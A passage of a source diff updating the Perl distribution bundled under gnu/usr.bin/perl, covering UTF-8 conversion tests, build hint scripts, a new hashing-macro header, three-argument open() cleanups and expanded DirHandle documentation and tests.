+ & $this_utf8n_flag_to_disallow))
+ {
+ push @expected_return_flags, $return_flag;
+ }
+
+ # Finish setting up the expected warning.
+ if ($expect_regular_warnings) {
+
+ # So far the array contains warnings generated by
+ # malformations. Add the expected regular one.
+ unshift @expected_warnings, $this_cp_message_qr;
+
+ # But it may need to be modified, because either of
+ # these malformations means we can't determine the
+ # expected code point.
+ if ( $short || $unexpected_noncont
+ || $dont_use_overlong_cp)
+ {
+ my $first_byte = substr($this_bytes, 0, 1);
+ $expected_warnings[0] = display_bytes(
+ substr($this_bytes, 0, $this_expected_len));
+ $expected_warnings[0]
+ = qr/[Aa]\Qny UTF-8 sequence that starts with\E
+ \Q $expected_warnings[0]\E
+ \Q $this_non_cp_trailing_text\E/x;
+ }
+ }
+
+ # Is effectively disallowed if we've set up a malformation
+ # (unless malformations are allowed), even if the flag
+ # indicates it is allowed. Fix up test name to indicate
+ # this as well
+ my $disallowed = 0;
+ if ( $this_disallow_flags & $this_utf8n_flag_to_disallow
+ && $this_expected_len >= $this_needed_to_discern_len)
+ {
+ $disallowed = 1;
+ }
+ if ($malformations_name) {
+ if ($malformed_allow_type == 0) {
+ $disallowed = 1;
+ }
+ elsif ($malformed_allow_type == 1) {
+
+ # Even if allowed, the malformation returns the
+ # REPLACEMENT CHARACTER.
+ $expected_uv = 0xFFFD;
+ $this_uv_string = "0xFFFD"
+ }
+ }
+
+ my $this_name = "$utf8_func() $testname: ";
+ my @scratch_expected_return_flags = @expected_return_flags;
+ if (! $initially_malformed) {
+ $this_name .= ($disallowed)
+ ? 'disallowed, '
+ : 'allowed, ';
+ }
+ $this_name .= "$eval_warn";
+ $this_name .= ", " . (( $this_warning_flags
+ & $this_utf8n_flag_to_warn)
+ ? 'with flag for raising warnings'
+ : 'no flag for raising warnings');
+ $this_name .= $malformations_name;
+
+ # Do the actual test using an eval
+ undef @warnings_gotten;
+ my $ret_ref;
+ my $this_flags
+ = $allow_flags|$this_warning_flags|$this_disallow_flags;
+ my $eval_text = "$eval_warn; \$ret_ref"
+ . " = test_$utf8_func("
+ . "'$this_bytes', $this_length, $this_flags)";
+ eval "$eval_text";
+ if (! ok ($@ eq "", "$this_name: eval succeeded"))
+ {
+ diag "\$@='$@'; call was: "
+ . utf8n_display_call($eval_text);
+ next;
+ }
+
+ if ($disallowed) {
+ is($ret_ref->[0], 0, " And returns 0")
+ or diag "Call was: " . utf8n_display_call($eval_text);
+ }
+ else {
+ is($ret_ref->[0], $expected_uv,
+ " And returns expected uv: "
+ . $this_uv_string)
+ or diag "Call was: " . utf8n_display_call($eval_text);
+ }
+ is($ret_ref->[1], $this_expected_len,
+ " And returns expected length:"
+ . " $this_expected_len")
+ or diag "Call was: " . utf8n_display_call($eval_text);
+
+ my $returned_flags = $ret_ref->[2];
+
+ for (my $i = @scratch_expected_return_flags - 1;
+ $i >= 0;
+ $i--)
+ {
+ if ($scratch_expected_return_flags[$i] & $returned_flags)
+ {
+ if ($scratch_expected_return_flags[$i]
+ == $::UTF8_GOT_PERL_EXTENDED)
+ {
+ pass(" Expected and got return flag for"
+ . " PERL_EXTENDED");
+ }
+ # The first entries in this are
+ # malformations
+ elsif ($i > @malformation_names - 1) {
+ pass(" Expected and got return flag"
+ . " for " . $controlling_warning_category);
+ }
+ else {
+ pass(" Expected and got return flag for "
+ . $malformation_names[$i]
+ . " malformation");
+ }
+ $returned_flags
+ &= ~$scratch_expected_return_flags[$i];
+ splice @scratch_expected_return_flags, $i, 1;
+ }
+ }
+
+ if (! is($returned_flags, 0,
+ " Got no unexpected return flags"))
+ {
+ diag "The unexpected flags gotten were: "
+ . (flags_to_text($returned_flags,
+ \@utf8n_flags_to_text)
+ # We strip off any prefixes from the flag
+ # names
+ =~ s/ \b [A-Z] _ //xgr);
+ diag "Call was: " . utf8n_display_call($eval_text);
+ }
+
+ if (! is (scalar @scratch_expected_return_flags, 0,
+ " Got all expected return flags"))
+ {
+ diag "The expected flags not gotten were: "
+ . (flags_to_text(eval join("|",
+ @scratch_expected_return_flags),
+ \@utf8n_flags_to_text)
+ # We strip off any prefixes from the flag
+ # names
+ =~ s/ \b [A-Z] _ //xgr);
+ diag "Call was: " . utf8n_display_call($eval_text);
+ }
+
+ if ($which_func) {
+ my @returned_warnings;
+ for my $element_ref (@{$ret_ref->[3]}) {
+ push @returned_warnings, $element_ref->{'text'};
+ my $text = $element_ref->{'text'};
+ my $flag = $element_ref->{'flag_bit'};
+ my $category = $element_ref->{'warning_category'};
+
+ if (! ok(($flag & ($flag-1)) == 0,
+ "flag for returned msg is a single bit"))
+ {
+ diag sprintf("flags are %x; msg=%s", $flag, $text);
+ }
+ else {
+ if (grep { $_ == $flag } @expected_return_flags) {
+ pass("flag for returned msg is expected");
+ }
+ else {
+ fail("flag ("
+ . flags_to_text($flag, \@utf8n_flags_to_text)
+ . ") for returned msg is expected");
+ }
+ }
+
+ # In perl space, don't know the category numbers
+ isnt($category, 0,
+ "returned category for msg isn't 0");
+ }
+
+ ok(@warnings_gotten == 0, "$utf8_func raised no warnings;"
+ . " the next tests are for ones in the returned"
+ . " variable")
+ or diag join "\n", "The unexpected warnings were:",
+ @warnings_gotten;
+ @warnings_gotten = @returned_warnings;
+ }
+
+ do_warnings_test(@expected_warnings)
+ or diag "Call was: " . utf8n_display_call($eval_text);
+ undef @warnings_gotten;
+
+ # Check CHECK_ONLY results when the input is
+ # disallowed. Do this when actually disallowed,
+ # not just when the $this_disallow_flags is set. We only
+ # test once utf8n_to_uvchr_msgs() with this.
+ if ( $disallowed
+ && ($which_func == 0 || ! $tested_CHECK_ONLY))
+ {
+ $tested_CHECK_ONLY = 1;
+ my $this_flags = $this_disallow_flags|$::UTF8_CHECK_ONLY;
+ my $eval_text = "use warnings; \$ret_ref ="
+ . " test_$utf8_func('"
+ . "$this_bytes', $this_length,"
+ . " $this_flags)";
+ eval $eval_text;
+ if (! ok ($@ eq "",
+ " And eval succeeded with CHECK_ONLY"))
+ {
+ diag "\$@='$@'; Call was: "
+ . utf8n_display_call($eval_text);
+ next;
+ }
+ is($ret_ref->[0], 0, " CHECK_ONLY: Returns 0")
+ or diag "Call was: " . utf8n_display_call($eval_text);
+ is($ret_ref->[1], -1,
+ " CHECK_ONLY: returns -1 for length")
+ or diag "Call was: " . utf8n_display_call($eval_text);
+ if (! is(scalar @warnings_gotten, 0,
+ " CHECK_ONLY: no warnings generated"))
+ {
+ diag "Call was: " . utf8n_display_call($eval_text);
+ output_warnings(@warnings_gotten);
+ }
+ }
+
+ # Now repeat some of the above, but for
+ # uvchr_to_utf8_flags(). Since this comes from an
+ # existing code point, it hasn't overflowed, and isn't
+ # malformed.
+ next if @malformation_names;
+
+ my $uvchr_func = ($which_func)
+ ? 'uvchr_to_utf8_flags_msgs'
+ : 'uvchr_to_utf8_flags';
+
+ $this_warning_flags = ($use_warn_flag)
+ ? $this_uvchr_flag_to_warn
+ : 0;
+ $this_disallow_flags = ($do_disallow)
+ ? $this_uvchr_flag_to_disallow
+ : 0;
+
+ $disallowed = $this_disallow_flags
+ & $this_uvchr_flag_to_disallow;
+ $this_name .= ", " . (( $this_warning_flags
+ & $this_utf8n_flag_to_warn)
+ ? 'with flag for raising warnings'
+ : 'no flag for raising warnings');
+
+ $this_name = "$uvchr_func() $testname: "
+ . (($disallowed)
+ ? 'disallowed'
+ : 'allowed');
+ $this_name .= ", $eval_warn";
+ $this_name .= ", " . (( $this_warning_flags
+ & $this_uvchr_flag_to_warn)
+ ? 'with warning flag'
+ : 'no warning flag');
+
+ undef @warnings_gotten;
+ my $ret;
+ $this_flags = $this_warning_flags|$this_disallow_flags;
+ $eval_text = "$eval_warn; \$ret ="
+ . " test_$uvchr_func("
+ . "$allowed_uv, $this_flags)";
+ eval "$eval_text";
+ if (! ok ($@ eq "", "$this_name: eval succeeded"))
+ {
+ diag "\$@='$@'; call was: "
+ . uvchr_display_call($eval_text);
+ next;
+ }
+
+ if ($which_func) {
+ if (defined $ret->[1]) {
+ my @returned_warnings;
+ push @returned_warnings, $ret->[1]{'text'};
+ my $text = $ret->[1]{'text'};
+ my $flag = $ret->[1]{'flag_bit'};
+ my $category = $ret->[1]{'warning_category'};
+
+ if (! ok(($flag & ($flag-1)) == 0,
+ "flag for returned msg is a single bit"))
+ {
+ diag sprintf("flags are %x; msg=%s", $flag, $text);
+ }
+ else {
+ if ($flag & $this_uvchr_flag_to_disallow) {
+ pass("flag for returned msg is expected");
+ }
+ else {
+ fail("flag ("
+ . flags_to_text($flag, \@utf8n_flags_to_text)
+ . ") for returned msg is expected");
+ }
+ }
+
+ # In perl space, don't know the category numbers
+ isnt($category, 0,
+ "returned category for msg isn't 0");
+
+ ok(@warnings_gotten == 0, "$uvchr_func raised no warnings;"
+ . " the next tests are for ones in the returned"
+ . " variable")
+ or diag join "\n", "The unexpected warnings were:",
+ @warnings_gotten;
+ @warnings_gotten = @returned_warnings;
+ }
+
+ $ret = $ret->[0];
+ }
+
+ if ($disallowed) {
+ is($ret, undef, " And returns undef")
+ or diag "Call was: " . uvchr_display_call($eval_text);
+ }
+ else {
+ is($ret, $this_bytes, " And returns expected string")
+ or diag "Call was: " . uvchr_display_call($eval_text);
+ }
+
+ do_warnings_test(@expected_warnings)
+ or diag "Call was: " . uvchr_display_call($eval_text);
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+}
+
+done_testing;
diff --git a/gnu/usr.bin/perl/ext/arybase/t/scope.t b/gnu/usr.bin/perl/ext/arybase/t/scope.t
index 07b41769779..5fca19610c3 100644
--- a/gnu/usr.bin/perl/ext/arybase/t/scope.t
+++ b/gnu/usr.bin/perl/ext/arybase/t/scope.t
@@ -30,6 +30,7 @@ is $t[3], "a";
is $t[3], "e";
}
is $t[3], "a";
+BEGIN { push @INC, '.' }
use t::scope_0;
is scope0_test(), "d";
diff --git a/gnu/usr.bin/perl/h2pl/cbreak.pl b/gnu/usr.bin/perl/h2pl/cbreak.pl
index 422185eb7b4..ad4c1871617 100644
--- a/gnu/usr.bin/perl/h2pl/cbreak.pl
+++ b/gnu/usr.bin/perl/h2pl/cbreak.pl
@@ -12,7 +12,7 @@ sub set_cbreak {
local($on) = @_;
require 'sizeof.ph';
- require 'sys/ioctl.ph';
+ require './sys/ioctl.ph';
ioctl(STDIN,&TIOCGETP,$sgttyb)
|| die "Can't ioctl TIOCGETP: $!";
diff --git a/gnu/usr.bin/perl/h2pl/cbreak2.pl b/gnu/usr.bin/perl/h2pl/cbreak2.pl
index 8ac55a34975..db71d26b9dd 100644
--- a/gnu/usr.bin/perl/h2pl/cbreak2.pl
+++ b/gnu/usr.bin/perl/h2pl/cbreak2.pl
@@ -11,7 +11,7 @@ sub cooked {
sub set_cbreak {
local($on) = @_;
- require 'sys/ioctl.pl';
+ require './sys/ioctl.pl';
ioctl(STDIN,$TIOCGETP,$sgttyb)
|| die "Can't ioctl TIOCGETP: $!";
diff --git a/gnu/usr.bin/perl/h2pl/mksizes b/gnu/usr.bin/perl/h2pl/mksizes
index cb4b8ab86ea..f28ba9e2436 100644
--- a/gnu/usr.bin/perl/h2pl/mksizes
+++ b/gnu/usr.bin/perl/h2pl/mksizes
@@ -2,7 +2,7 @@
($iam = $0) =~ s%.*/%%;
$tmp = "$iam.$$";
-open (CODE,">$tmp.c") || die "$iam: cannot create $tmp.c: $!\n";
+open (CODE, '>', "$tmp.c") || die "$iam: cannot create $tmp.c: $!\n";
$mask = q/printf ("$sizeof{'%s'} = %d;\n"/;
diff --git a/gnu/usr.bin/perl/h2pl/mkvars b/gnu/usr.bin/perl/h2pl/mkvars
index ffb0f0b0b9e..219c00537e1 100644
--- a/gnu/usr.bin/perl/h2pl/mkvars
+++ b/gnu/usr.bin/perl/h2pl/mkvars
@@ -8,7 +8,7 @@ foreach $include (@ARGV) {
printf STDERR "including %s\n", $include;
do $include;
warn "sourcing $include: $@\n" if ($@);
- if (!open (INCLUDE,"$LIB/$include")) {
+ if (!open (INCLUDE,'<',"$LIB/$include")) {
warn "can't open $LIB/$include: $!\n";
next;
}
diff --git a/gnu/usr.bin/perl/hints/gnu.sh b/gnu/usr.bin/perl/hints/gnu.sh
index fe251cbc908..32672db941e 100644
--- a/gnu/usr.bin/perl/hints/gnu.sh
+++ b/gnu/usr.bin/perl/hints/gnu.sh
@@ -1,6 +1,5 @@
# hints/gnu.sh
-# Last modified: Thu Dec 10 20:47:28 CET 1998
-# Mark Kettenis <kettenis@phys.uva.nl>
+# Originally contributed by: Mark Kettenis <kettenis@phys.uva.nl> Dec 10 1998
# libnsl is unusable on the Hurd.
# XXX remove this once SUNRPC is implemented.
@@ -11,6 +10,18 @@ libswanted="$*"
# Debian 4.0 puts ndbm in the -lgdbm_compat library.
libswanted="$libswanted gdbm_compat"
+# malloc wrap works
+case "$usemallocwrap" in
+'') usemallocwrap='define' ;;
+esac
+
+# The system malloc() is about as fast and as frugal as perl's.
+# Since the system malloc() has been the default since at least
+# 5.001, we might as well leave it that way. --AD 10 Jan 2002
+case "$usemymalloc" in
+'') usemymalloc='n' ;;
+esac
+
case "$optimize" in
'') optimize='-O2' ;;
esac
@@ -24,14 +35,66 @@ case "$plibpth" in
;;
esac
+case "$libc" in
+'')
+# If you have glibc, then report the version for ./myconfig bug reporting.
+# (Configure doesn't need to know the specific version since it just uses
+# gcc to load the library for all tests.)
+# We don't use __GLIBC__ and __GLIBC_MINOR__ because they
+# are insufficiently precise to distinguish things like
+# libc-2.0.6 and libc-2.0.7.
+ for p in $plibpth
+ do
+ for trylib in libc.so.0.3 libc.so
+ do
+ if $test -e $p/$trylib; then
+ libc=`ls -l $p/$trylib | awk '{print $NF}'`
+ if $test "X$libc" != X; then
+ break
+ fi
+ fi
+ done
+ if $test "X$libc" != X; then
+ break
+ fi
+ done
+ ;;
+esac
+
# Flags needed to produce shared libraries.
lddlflags='-shared'
# Flags needed by programs that use dynamic linking.
ccdlflags='-Wl,-E'
-# Debian bug #258618
-ccflags="-D_GNU_SOURCE $ccflags"
+# This script UU/usethreads.cbu will get 'called-back' by Configure
+# after it has prompted the user for whether to use threads.
+cat > UU/usethreads.cbu <<'EOCBU'
+case "$usethreads" in
+$define|true|[yY]*)
+ ccflags="-D_REENTRANT -D_GNU_SOURCE $ccflags"
+ if echo $libswanted | grep -v pthread >/dev/null
+ then
+ set `echo X "$libswanted "| sed -e 's/ c / pthread c /'`
+ shift
+ libswanted="$*"
+ fi
+
+ # Somehow at least in Debian 2.2 these manage to escape
+ # the #define forest of <features.h> and <time.h> so that
+ # the hasproto macro of Configure doesn't see these protos,
+ # even with the -D_GNU_SOURCE.
+
+ d_asctime_r_proto="$define"
+ d_crypt_r_proto="$define"
+ d_ctime_r_proto="$define"
+ d_gmtime_r_proto="$define"
+ d_localtime_r_proto="$define"
+ d_random_r_proto="$define"
+
+ ;;
+esac
+EOCBU
cat > UU/uselargefiles.cbu <<'EOCBU'
# This script UU/uselargefiles.cbu will get 'called-back' by Configure
diff --git a/gnu/usr.bin/perl/hints/svr5.sh b/gnu/usr.bin/perl/hints/svr5.sh
index e0b5b619b67..45a8b715197 100644
--- a/gnu/usr.bin/perl/hints/svr5.sh
+++ b/gnu/usr.bin/perl/hints/svr5.sh
@@ -92,7 +92,6 @@ glibpth=`echo " $glibpth " | sed -e 's/ \/shlib / /' -e 's/ \/lib / /'`
# Don't use BSD emulation pieces (/usr/ucblib) regardless
# these would probably be autonondetected anyway but ...
gconvert_preference='gcvt sprintf' # Try gcvt() before gconvert().
-d_bcopy='undef' d_bcmp='undef' d_bzero='undef' d_safebcpy='undef'
d_index='undef' d_killpg='undef' d_getprior='undef' d_setprior='undef'
d_setlinebuf='undef'
d_setregid='undef' d_setreuid='undef' # -- in /usr/lib/libc.so.1
@@ -120,14 +119,11 @@ if [ "$uw_isuw" = "UnixWare" -o "$uw_isuw" = "OpenUNIX" ]; then
case $uw_ver in
8.*|7.1*)
d_csh='undef'
- d_memcpy='define'
- d_memset='define'
stdio_cnt='((fp)->__cnt)'
d_stdio_cnt_lval='define'
stdio_ptr='((fp)->__ptr)'
d_stdio_ptr_lval='define'
- d_bcopy='define' # In /usr/lib/libc.so.1
d_setregid='define' # "
d_setreuid='define' # "
@@ -137,8 +133,6 @@ if [ "$uw_isuw" = "UnixWare" -o "$uw_isuw" = "OpenUNIX" ]; then
;;
7*)
d_csh='undef'
- d_memcpy='define'
- d_memset='define'
stdio_cnt='((fp)->__cnt)'
d_stdio_cnt_lval='define'
stdio_ptr='((fp)->__ptr)'
diff --git a/gnu/usr.bin/perl/hv_macro.h b/gnu/usr.bin/perl/hv_macro.h
new file mode 100644
index 00000000000..77a4c848967
--- /dev/null
+++ b/gnu/usr.bin/perl/hv_macro.h
@@ -0,0 +1,81 @@
+#ifndef PERL_SEEN_HV_MACRO_H /* compile once */
+#define PERL_SEEN_HV_MACRO_H
+
+#if IVSIZE == 8
+#define CAN64BITHASH
+#endif
+
+/*-----------------------------------------------------------------------------
+ * Endianess, misalignment capabilities and util macros
+ *
+ * The following 3 macros are defined in this section. The other macros defined
+ * are only needed to help derive these 3.
+ *
+ * U8TO16_LE(x) Read a little endian unsigned 32-bit int
+ * U8TO32_LE(x) Read a little endian unsigned 32-bit int
+ * U8TO28_LE(x) Read a little endian unsigned 32-bit int
+ * ROTL32(x,r) Rotate x left by r bits
+ * ROTL64(x,r) Rotate x left by r bits
+ * ROTR32(x,r) Rotate x right by r bits
+ * ROTR64(x,r) Rotate x right by r bits
+ */
+
+#ifndef U32_ALIGNMENT_REQUIRED
+ #if (BYTEORDER == 0x1234 || BYTEORDER == 0x12345678)
+ #define U8TO16_LE(ptr) (*((const U16*)(ptr)))
+ #define U8TO32_LE(ptr) (*((const U32*)(ptr)))
+ #define U8TO64_LE(ptr) (*((const U64*)(ptr)))
+ #elif (BYTEORDER == 0x4321 || BYTEORDER == 0x87654321)
+ #if defined(__GNUC__) && (__GNUC__>4 || (__GNUC__==4 && __GNUC_MINOR__>=3))
+ #define U8TO16_LE(ptr) (__builtin_bswap16(*((U16*)(ptr))))
+ #define U8TO32_LE(ptr) (__builtin_bswap32(*((U32*)(ptr))))
+ #define U8TO64_LE(ptr) (__builtin_bswap64(*((U64*)(ptr))))
+ #endif
+ #endif
+#endif
+
+#ifndef U8TO16_LE
+ /* Without a known fast bswap32 we're just as well off doing this */
+ #define U8TO16_LE(ptr) ((U32)(ptr)[0]|(U32)(ptr)[1]<<8)
+ #define U8TO32_LE(ptr) ((U32)(ptr)[0]|(U32)(ptr)[1]<<8|(U32)(ptr)[2]<<16|(U32)(ptr)[3]<<24)
+ #define U8TO64_LE(ptr) ((U64)(ptr)[0]|(U64)(ptr)[1]<<8|(U64)(ptr)[2]<<16|(U64)(ptr)[3]<<24|\
+ (U64)(ptr)[4]<<32|(U64)(ptr)[5]<<40|\
+ (U64)(ptr)[6]<<48|(U64)(ptr)[7]<<56)
+#endif
+
+#ifdef CAN64BITHASH
+ #ifndef U64TYPE
+ /* This probably isn't going to work, but failing with a compiler error due to
+ lack of uint64_t is no worse than failing right now with an #error. */
+ #define U64 uint64_t
+ #endif
+#endif
+
+/* Find best way to ROTL32/ROTL64 */
+#if defined(_MSC_VER)
+ #include <stdlib.h> /* Microsoft put _rotl declaration in here */
+ #define ROTL32(x,r) _rotl(x,r)
+ #define ROTR32(x,r) _rotr(x,r)
+ #define ROTL64(x,r) _rotl64(x,r)
+ #define ROTR64(x,r) _rotr64(x,r)
+#else
+ /* gcc recognises this code and generates a rotate instruction for CPUs with one */
+ #define ROTL32(x,r) (((U32)(x) << (r)) | ((U32)(x) >> (32 - (r))))
+ #define ROTR32(x,r) (((U32)(x) << (32 - (r))) | ((U32)(x) >> (r)))
+ #define ROTL64(x,r) ( ( (U64)(x) << (r) ) | ( (U64)(x) >> ( 64 - (r) ) ) )
+ #define ROTR64(x,r) ( ( (U64)(x) << ( 64 - (r) ) ) | ( (U64)(x) >> (r) ) )
+#endif
+
+
+#ifdef UV_IS_QUAD
+#define ROTL_UV(x,r) ROTL64(x,r)
+#define ROTR_UV(x,r) ROTL64(x,r)
+#else
+#define ROTL_UV(x,r) ROTL32(x,r)
+#define ROTR_UV(x,r) ROTR32(x,r)
+#endif
+#if IVSIZE == 8
+#define CAN64BITHASH
+#endif
+
+#endif
diff --git a/gnu/usr.bin/perl/invlist_inline.h b/gnu/usr.bin/perl/invlist_inline.h
index 4ce04f90873..3a1afc695dc 100644
--- a/gnu/usr.bin/perl/invlist_inline.h
+++ b/gnu/usr.bin/perl/invlist_inline.h
@@ -6,7 +6,7 @@
* License or the Artistic License, as specified in the README file.
*/
-#if defined(PERL_IN_UTF8_C) || defined(PERL_IN_REGCOMP_C) || defined(PERL_IN_REGEXEC_C)
+#if defined(PERL_IN_UTF8_C) || defined(PERL_IN_REGCOMP_C) || defined(PERL_IN_REGEXEC_C) || defined(PERL_IN_TOKE_C)
/* An element is in an inversion list iff its index is even numbered: 0, 2, 4,
* etc */
diff --git a/gnu/usr.bin/perl/lib/CORE.pod b/gnu/usr.bin/perl/lib/CORE.pod
index ce5feb5908a..e40b2d0aa95 100644
--- a/gnu/usr.bin/perl/lib/CORE.pod
+++ b/gnu/usr.bin/perl/lib/CORE.pod
@@ -49,10 +49,8 @@ ampersand syntax and through references does not work for the following
functions, as they have special syntax that cannot always be translated
into a simple list (e.g., C<eof> vs C<eof()>):
-C<chdir>, C<chomp>, C<chop>, C<defined>, C<delete>, C<each>,
-C<eof>, C<exec>, C<exists>, C<keys>, C<lstat>, C<pop>, C<push>,
-C<shift>, C<splice>, C<split>, C<stat>, C<system>, C<truncate>,
-C<unlink>, C<unshift>, C<values>
+C<chdir>, C<chomp>, C<chop>, C<defined>, C<delete>, C<eof>, C<exec>,
+C<exists>, C<lstat>, C<split>, C<stat>, C<system>, C<truncate>, C<unlink>
=head1 OVERRIDING CORE FUNCTIONS
diff --git a/gnu/usr.bin/perl/lib/Config/Extensions.pm b/gnu/usr.bin/perl/lib/Config/Extensions.pm
index 82fb9e09e89..5c241e97aea 100644
--- a/gnu/usr.bin/perl/lib/Config/Extensions.pm
+++ b/gnu/usr.bin/perl/lib/Config/Extensions.pm
@@ -1,10 +1,10 @@
package Config::Extensions;
use strict;
-use vars qw(%Extensions $VERSION @ISA @EXPORT_OK);
+our (%Extensions, $VERSION, @ISA, @EXPORT_OK);
use Config;
require Exporter;
-$VERSION = '0.01';
+$VERSION = '0.02';
@ISA = 'Exporter';
@EXPORT_OK = '%Extensions';
diff --git a/gnu/usr.bin/perl/lib/DBM_Filter/t/01error.t b/gnu/usr.bin/perl/lib/DBM_Filter/t/01error.t
index 1aff972b4e9..33173f3e7e6 100644
--- a/gnu/usr.bin/perl/lib/DBM_Filter/t/01error.t
+++ b/gnu/usr.bin/perl/lib/DBM_Filter/t/01error.t
@@ -24,7 +24,7 @@ sub writeFile
{
my $filename = shift ;
my $content = shift;
- open F, ">$filename" or croak "Cannot open $filename: $!" ;
+ open F, '>', $filename or croak "Cannot open $filename: $!" ;
print F $content ;
close F;
}
diff --git a/gnu/usr.bin/perl/lib/DBM_Filter/t/02core.t b/gnu/usr.bin/perl/lib/DBM_Filter/t/02core.t
index a9538e52d14..1f5fef94f13 100644
--- a/gnu/usr.bin/perl/lib/DBM_Filter/t/02core.t
+++ b/gnu/usr.bin/perl/lib/DBM_Filter/t/02core.t
@@ -22,7 +22,7 @@ sub writeFile
{
my $filename = shift ;
my $content = shift;
- open F, ">DBM_Filter/$filename.pm" or croak "Cannot open $filename: $!" ;
+ open F, '>', "DBM_Filter/$filename.pm" or croak "Cannot open $filename: $!" ;
print F $content ;
close F;
$files{"DBM_Filter/$filename.pm"} ++;
diff --git a/gnu/usr.bin/perl/lib/DirHandle.pm b/gnu/usr.bin/perl/lib/DirHandle.pm
index 7493c00a542..bebce9f5ce2 100644
--- a/gnu/usr.bin/perl/lib/DirHandle.pm
+++ b/gnu/usr.bin/perl/lib/DirHandle.pm
@@ -1,29 +1,40 @@
package DirHandle;
-our $VERSION = '1.04';
+our $VERSION = '1.05';
=head1 NAME
-DirHandle - supply object methods for directory handles
+DirHandle - (obsolete) supply object methods for directory handles
=head1 SYNOPSIS
+ # recommended approach since Perl 5.6: do not use DirHandle
+ if (opendir my $d, '.') {
+ while (readdir $d) { something($_); }
+ rewind $d;
+ while (readdir $d) { something_else($_); }
+ }
+
+ # how you would use this module if you were going to
use DirHandle;
- $d = DirHandle->new(".");
- if (defined $d) {
+ if (my $d = DirHandle->new(".")) {
while (defined($_ = $d->read)) { something($_); }
$d->rewind;
while (defined($_ = $d->read)) { something_else($_); }
- undef $d;
}
=head1 DESCRIPTION
+B<There is no reason to use this module nowadays.>
+
The C<DirHandle> method provide an alternative interface to the
opendir(), closedir(), readdir(), and rewinddir() functions.
-The only objective benefit to using C<DirHandle> is that it avoids
-namespace pollution by creating globs to hold directory handles.
+Up to Perl 5.5, opendir() could not autovivify a directory handle from
+C<undef>, so using a lexical handle required using a function from L<Symbol>
+to create an anonymous glob, which took a separate step.
+C<DirHandle> encapsulates this, which allowed cleaner code than opendir().
+Since Perl 5.6, opendir() alone has been all you need for lexical handles.
=cut
diff --git a/gnu/usr.bin/perl/lib/DirHandle.t b/gnu/usr.bin/perl/lib/DirHandle.t
index f3a93044b00..2a131e6cc2b 100644
--- a/gnu/usr.bin/perl/lib/DirHandle.t
+++ b/gnu/usr.bin/perl/lib/DirHandle.t
@@ -11,7 +11,7 @@ BEGIN {
}
use DirHandle;
-use Test::More tests => 5;
+use Test::More tests => 31;
# Fetching the list of files in two different ways and expecting them
# to be the same is a race condition when tests are running in parallel.
@@ -25,22 +25,110 @@ if ($ENV{PERL_CORE} && -d 'uni') {
$dot = DirHandle->new('.');
-is(defined $dot, 1);
+ok(defined $dot, "DirHandle->new returns defined value");
+isa_ok($dot, 'DirHandle');
@a = sort <*>;
do { $first = $dot->read } while defined($first) && $first =~ /^\./;
-ok(+(grep { $_ eq $first } @a));
+ok(+(grep { $_ eq $first } @a),
+ "Scalar context: First non-dot entry returned by 'read' is found in glob");
@b = sort($first, (grep {/^[^.]/} $dot->read));
-ok(+(join("\0", @a) eq join("\0", @b)));
+ok(+(join("\0", @a) eq join("\0", @b)),
+ "List context: Remaining entries returned by 'read' match glob");
-$dot->rewind;
+ok($dot->rewind, "'rewind' method returns true value");
@c = sort grep {/^[^.]/} $dot->read;
-cmp_ok(join("\0", @b), 'eq', join("\0", @c));
+cmp_ok(join("\0", @b), 'eq', join("\0", @c),
+ "After 'rewind', directory re-read as expected");
-$dot->close;
+ok($dot->close, "'close' method returns true value");
$dot->rewind;
-is(defined $dot->read, '');
+ok(! defined $dot->read,
+ "Having closed the directory handle -- and notwithstanding invocation of 'rewind' -- 'read' returns undefined value");
+
+{
+ local $@;
+ eval { $redot = DirHandle->new( '.', '..' ); };
+ like($@, qr/^usage/,
+ "DirHandle constructor with too many arguments fails as expected");
+}
+
+# Now let's test with directory argument provided to 'open' rather than 'new'
+
+$redot = DirHandle->new();
+ok(defined $redot, "DirHandle->new returns defined value even without provided argument");
+isa_ok($redot, 'DirHandle');
+ok($redot->open('.'), "Explicit call of 'open' method returns true value");
+do { $first = $redot->read } while defined($first) && $first =~ /^\./;
+ok(+(grep { $_ eq $first } @a),
+ "Scalar context: First non-dot entry returned by 'read' is found in glob");
+
+@b = sort($first, (grep {/^[^.]/} $redot->read));
+ok(+(join("\0", @a) eq join("\0", @b)),
+ "List context: Remaining entries returned by 'read' match glob");
+
+ok($redot->rewind, "'rewind' method returns true value");
+@c = sort grep {/^[^.]/} $redot->read;
+cmp_ok(join("\0", @b), 'eq', join("\0", @c),
+ "After 'rewind', directory re-read as expected");
+
+ok($redot->close, "'close' method returns true value");
+$redot->rewind;
+ok(! defined $redot->read,
+ "Having closed the directory handle -- and notwithstanding invocation of 'rewind' -- 'read' returns undefined value");
+
+$undot = DirHandle->new('foobar');
+ok(! defined $undot,
+ "Constructor called with non-existent directory returns undefined value");
+
+# Test error conditions for various methods
+
+$aadot = DirHandle->new();
+ok(defined $aadot, "DirHandle->new returns defined value even without provided argument");
+isa_ok($aadot, 'DirHandle');
+{
+ local $@;
+ eval { $aadot->open('.', '..'); };
+ like($@, qr/^usage/,
+ "'open' called with too many arguments fails as expected");
+}
+ok($aadot->open('.'), "Explicit call of 'open' method returns true value");
+{
+ local $@;
+ eval { $aadot->read('foobar'); };
+ like($@, qr/^usage/,
+ "'read' called with argument fails as expected");
+}
+{
+ local $@;
+ eval { $aadot->close('foobar'); };
+ like($@, qr/^usage/,
+ "'close' called with argument fails as expected");
+}
+{
+ local $@;
+ eval { $aadot->rewind('foobar'); };
+ like($@, qr/^usage/,
+ "'rewind' called with argument fails as expected");
+}
+
+{
+ local $@;
+ eval { $bbdot = DirHandle::new(); };
+ like($@, qr/^usage/,
+ "DirHandle called as function but with no arguments fails as expected");
+}
+
+$bbdot = DirHandle->new();
+ok(! $bbdot->open('foobar'),
+ "Calling open method on nonexistent directory returns false value");
+ok(! $bbdot->read(),
+ "Calling read method after failed open method returns false value");
+ok(! $bbdot->rewind(),
+ "Calling rewind method after failed open method returns false value");
+ok(! $bbdot->close(),
+ "Calling close method after failed open method returns false value");
if ($chdir) {
chdir "..";
diff --git a/gnu/usr.bin/perl/lib/English.t b/gnu/usr.bin/perl/lib/English.t
index bed11626770..35a06caacf2 100644
--- a/gnu/usr.bin/perl/lib/English.t
+++ b/gnu/usr.bin/perl/lib/English.t
@@ -36,7 +36,7 @@ $ORS = "\n";
if ($^O ne 'dos') {
pipe(IN, OUT);
} else {
- open(OUT, ">en.tmp");
+ open(OUT, ">", "en.tmp");
}
select(OUT);
$| = 1;
@@ -48,7 +48,7 @@ $ORS = "\n";
my $close = close OUT;
